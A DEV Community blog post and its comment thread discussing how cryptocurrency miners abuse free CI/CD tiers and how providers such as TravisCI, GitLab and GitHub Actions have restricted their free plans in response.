DEV Community

loading...
Cover image for Crypto Mining is Killing All Free CI/CD Platforms

Crypto Mining is Killing All Free CI/CD Platforms

Davide 'CoderDave' Benvegnù
DevOps Architect @ Microsoft 👨‍💻 • YouTuber @ CoderDave 🎥 • Ex MMA fighter 🥊
・5 min read

We all know that crypto mining is negatively impacting many things in the world. And now it's ruining something else in a way no one has seen coming. This is why mining crypto currencies is killing every free CI / CD platform.

Video

As usual, if you are a visual learner, or simply prefer to watch and listen instead of reading, here you have the video, which to be fair is much more complete than this post.

Link to the video: https://youtu.be/9TOJqJSHVvI

If you rather prefer reading, well... let's just continue :)

Intro

Today I have to talk about something I'd prefer not to, but unfortunately this is happening, and it's happening hard. So let's talk about crypto mining and its deleterious effect on free CI/CD platform.

A Work on Mining

We all know crypto mining, the process in which transactions for various forms of cryptocurrency are verified and added to the blockchain digital ledger, using the computing power of computers or graphics card, and for which miners are rewarded with crypto currencies directly.

We probably all know that this is affecting many aspects of our current time. For example, the current and past generation of graphics cards are so good and fast for mining that it's basically impossible to buy a graphics card right now, or if you find one the price is crazy. All the supply is basically taken up by miners, and few very lucky gamers.

How Does Mining Cryptocurrencies Affect CI Platforms

Ok, but how does this affect the CI/CD platforms? I'm glad you asked.

Due to the lack of availability of graphics cards, and the constantly increasing number of miners thanks to the rise in value of cryptocurrencies, miners have started trying to find alternative ways for mining.

They first started using Cloud services but quickly realized that the cost for always running large instances was higher than the gain they were able to get. And this is when they started looking at the free CI providers.

Hosted Build agents are fairly powerful, having to take care of compilation etc., and most platforms have a free tier, especially for public repositories. Powerful machines for free, a miner's dream come true.

And this is exactly the problem. They have started writing script, pushing them to public repositories, and take advantage of those free CI agents to run their mining software. And as the different providers started blocking those attempts, miners adapted and started writing fairly complex software and scripts to "mask" the real reasons why they were using the repos and CI agents.

An Example

There are countless examples, but here is one just to make you understand the gravity of the problem. There was a user on GitHub who created a simple repo, which seemed a legit one at a first look.

In the repo this user had the definition for 5 different CI providers, including GitHub Actions, CircleCI, TravisCI and others, and all were configured in automatic CI. The user had roughly 1 commit every hour, which in turn kicked off all 5 of those CI... and the script that was run was in fact a crypto miner. You can imagine how much resources that user alone has consumed.

The Effects

And in fact, if you have noticed your hosted CI agent being slower than usual or picking up jobs with a greater delay most likely it's because of this. And not only on free CI, but also on paid CI platforms... because the resources are the same. But if the problem was just some slowness, we wouldn't be here talking about this.

The problem is much bigger. So much so that basically all the CI providers have stopped offering free tiers or, in the best cases, they've implemented great limitations on the services.

Industry Reactions

Azure DevOps

Microsoft is not providing anymore free concurrent CI for their Azure Pipelines for new organizations. If the users want them, they need to request for them and provide additional information to verify they are eligible.

Azure DevOps

TravisCI

TravisCI is taking it a step further, completely removing the free tier, and giving to existing users a trial with an amount of free credits. When the credits are exhausted, if a user wants to keep using CI then they will have to buy a paid plan.

TravisCI

GitLab

GitLab, takes a different approach.

First, they require new users to verify their account adding a credit card to their account before they can start using the hosted CI agents. Existing users are not currently required to insert a credit card number, but they may be in future.

GitLab

Second, they are removing the unlimited free minutes that were previously assigned to public projects, and setting a limit to 400 free minutes instead.

GitLab

CircleCI

Circle CI has never had a completely free plan, but only a free grant of 2500 credits per month.

While they haven't change that, at least not yet, they 've published an article saying that they have a whole team, and I quote, "of security experts, operations engineers, data scientists, and developers whose ongoing work comprises spotting and eradicating abuse of our platform".

CircleCI

This of course is a huge cost for the company, and if things will continue like this they will need to find a way to get the money back... you make of this what you want.

GitHub Actions

Finally, GitHub Actions is the only provider that I'm aware of which has still a completely free unlimited use of their CI and has not changed that.

However, they did mention in a post on their public blog that the Actions teams have spent thousands of hours fighting against miners. As in the CircleCI case, this comes at a cost. Having engineering teams focusing on fighting miners most likely means they have less time to focus on improving and developing the service.

GitHub Actions

And they are also saying that they are rolling out features and improvements to help maintainer of Open Source projects having a better control of their CI when it comes to Pull Requests and Forks.

GitHub Actions

And I could continue for long, because similar things are happening from each and every CI provider.

The Solution?

Is there anything we can do to avoid this? Unfortunately, I'm afraid the answer is no.

Providers can do their best to enforce terms of service and take other measures, but as long as it's profitable and untraceable to make such attacks, miners will continue to become more sophisticated and circumvent measures.

The only hope is for crypto networks to fully disable the current computation-based mining as a way to earn new coins, switching entirely to a proof-of-stake (POS) validation model. It sounds impossible, but it is actually already happening. Ethereum in fact recently announced they will do exactly that.

Conclusions

Let me know in the comment section below what you think about this sensitive topic.

Like, share and follow me 🚀 for more content:

📽 YouTube
Buy me a coffee
💖 Patreon
🌐 CoderDave.io Website
👕 Merch
👦🏻 Facebook page
🐱‍💻 GitHub
👲🏻 Twitter
👴🏻 LinkedIn
🔉 Podcast

Buy Me A Coffee

Discussion (38)

Collapse
mysticza profile image
Chris Boik

This is insane.

I won't deny it was a genius discovery and clever tactic but horribly detrimental to those of us who rely on these free and excellent services daily for genuine use cases.

I like the free minutes approach rather than paywall or credits.

However I wouldn't mind GitHub requiring credit or debit card information to prevent abuse. Similar to how Firebase prevents abuse by requiring your card details. It works.

Collapse
gklijs profile image
Gerard Klijs

Not everyone has easy access to a credit card. Nothing Genius about it.

Collapse
n3wt0n profile image
Davide 'CoderDave' Benvegnù Author

I agree with you. It’s a real problem, I hope as I’ve mention that they will find a solution that doesn’t require limiting others (aka us) for something abusers do, but rather changing the approach of the whole system

Collapse
antonyjr profile image
Antony Jr

What about privacy issues?? I don't want to give my card info to Microsoft or any company for that matter.

Collapse
aghost7 profile image
Jonathan Boudreau

I just pay for my CI. One of the few things that can be done.

Collapse
tadman profile image
Scott Tadman

This isn't always enough. If you have an open-source project that allows pull requests, and automatically runs tests against these, someone can weasel in there and inject a miner in that process.

They get the rewards, you get stuck with the tab.

The most insulting part of this is the amount gained by the attacker is usually a fraction of the cost to you. For each $1 you spend on CI services they might make a tenth of a cent, or in many cases even less. To make any amount of money at all they need to operate at a huge scale, which is why this problem is so bad.

Collapse
aghost7 profile image
Jonathan Boudreau

There are other problems with letting the CI run on PRs without supervision. For example, someone could try to steal credentials being used in the build. I don't recommend doing this.

Collapse
tominflux profile image
Tom

Letting strangers run arbitrary code in PRs with responsibility falling under the repository owner was always gunna turn out bad surely?

Collapse
mikeyglitz profile image
mikeyGlitz

Seems like self-hosted might be the way to go in the really soon. 🤔
I don't like the idea of running and managing my own Jenkins server because a few bad actors are exploiting CI pipelines.

Collapse
aghost7 profile image
Jonathan Boudreau

Its a good opportunity to learn more on devops for me. If you want something hands off you can use the AWS / DO / azure cloud plugin to create and destroy VMs on demand. If this isn't your thing you can always pay for the CI services themselves.

Thread Thread
mikeyglitz profile image
mikeyGlitz

Personally, I'd recommend terraform or Ansible specifically for the creation of cloud resources. The Jenkins agent would be able to launch those using plug-ins.

Thread Thread
aghost7 profile image
Jonathan Boudreau

Yes I create the master using terraform, but the agents are spun up on demand. Keeps the costs reasonably low without loosing out on performance.

Collapse
n3wt0n profile image
Davide 'CoderDave' Benvegnù Author

Sure, but there are other scenarios in which users may not be able to do so… like for example for OSS projects

Collapse
aghost7 profile image
Jonathan Boudreau

I pay for CI on my OSS projects.

Thread Thread
n3wt0n profile image
Davide 'CoderDave' Benvegnù Author

You’re one of a kind 😉 jokes aside, there are many factors. It is always good have more choices and not being limited, especially if the limitations are in place because of abusers

Collapse
tyu1996 profile image
Brian Ting • Edited

Great article/video! I fully support the newer Proof-of-Stake mining method rather than the Proof-of-Work(PoW) mining like they do to current Bitcoin/Ethereum/Monero.

But as long as Bitcoin still living, the PoW will never ceased. At this rate only hope those CI/CD services can have a mechanism to ban all mining activities as soon as they detected it.

Collapse
mikeyglitz profile image
mikeyGlitz

This would be just like dealing with hackers and cyber criminals. You create a game of cat and mouse between the exploiter and the security apparatus.

Collapse
n3wt0n profile image
Davide 'CoderDave' Benvegnù Author

Thanks. The problem is that it’s almost impossible detecting it until it’s too late 😟

Collapse
antonyjr profile image
Antony Jr

This is Bad.

I started doing open source projects before CI/CD and I know how painful it was to release software without CI/CD. It's just so painful. CI/CD is like a dream come true. These crypto monkeys are just shit. Why would they damage the very industry that brought these crypto currencies in the first place.

I think there is a way to prevent this by identifying which programs are invoked in CI and just block that user. Like is the program invoked is a mining software, that's pretty doable.

Collapse
n3wt0n profile image
Davide 'CoderDave' Benvegnù Author

It’s not that easy. You can write your own mining software… how would a platform recognize that?

Collapse
antonyjr profile image
Antony Jr

Well for most cases, miners only use popular software so it's easy to block most cases.

Collapse
warren_5f5d5506d86 profile image
Warren Sirota

Thanks for the article. I learned something new and horrifying. Before, I was hoping that the Chinese govt and others were likely to wake up and charge these miners for their externalities. But now I see that they are just thieves stealing computing (and therefore also environmental) resources. I’m even more disgusted by the business.

Collapse
eriklz profile image
Erik Lundevall Zara • Edited

Just now (June 14:th and 15:th), AWS CodeBuild had extended delays in execution for a number of accounts.
Also, a number of accounts in at least us-east-1 and eu-west-1 could (can not) not run CodeBuild due to AccountServiceLimitExceededException errors.

My guess is that AWS CodeBuild may have been hit by this kind of activity and that AWS blocked some account/organisation+region combinations, where they may have found suspicious execution patterns and perhaps somewhat new accounts.

Collapse
n3wt0n profile image
Davide 'CoderDave' Benvegnù Author

Yes I’m pretty sure that’s the case… unfortunately 😟

Collapse
gklijs profile image
Gerard Klijs

To be fair with Travis CI, they were also bought, which is probably part of the reason to abandon the free tier.
But it is very inconvenient. Yesterday changed the CI from Travis to Github Actions, for a legitimate Open Source project, which on average maybe runs once a month. And before Travis became so slow the integration tests started to break.

Collapse
codebyru profile image
Ru

Super interesting article! I didn't realise cryptomining was affecting so many services.

Collapse
n3wt0n profile image
Davide 'CoderDave' Benvegnù Author

Thanks! Unfortunately it is 😕

Collapse
loicpoullain profile image
Loïc Poullain

Very interesting article!

Out of curiosity, do you know how cloud providers realized their platforms were being used for mining?

Collapse
n3wt0n profile image
Davide 'CoderDave' Benvegnù Author

I’m not sure. If I have to guess, checking the network traffic to wallets/crypto accounts. But that would be “too late” because all the computation is already done 😩

Collapse
zazapeta profile image
Ghazouane

If you rather prefer reading, well... let's just continue :)

THX YOU !!!!!

Collapse
tcelestino profile image
Tiago Celestino

It’s so bad to devs that use this services in real projects and need to CI services. The future is pay or not use that.

Collapse
n3wt0n profile image
Davide 'CoderDave' Benvegnù Author

Yes, it has a big impact, especially for small projects or devs that can't / won't afford to pay for CI.

Collapse
kalashin1 profile image
Kinanee Samson

What did we do to deserve this?

Collapse
n3wt0n profile image
Davide 'CoderDave' Benvegnù Author

I know… it really sucks…

Collapse
mccurcio profile image
Matt Curcio

Hi Davide,
Excellent discussion.
I did not realize that the scope of this problem impacted CI/CD so strongly.
Keep up the good work!

Collapse
jonathanlawhh profile image
Jonathan Law

Interesting, I have always wondered what's stopping them from abusing these free workflows, or some services that charges based on task executed rather than duration or compute power required.

Collapse
n3wt0n profile image
Davide 'CoderDave' Benvegnù Author

As it turns out... not much :)

Some comments have been hidden by the post's author - find out more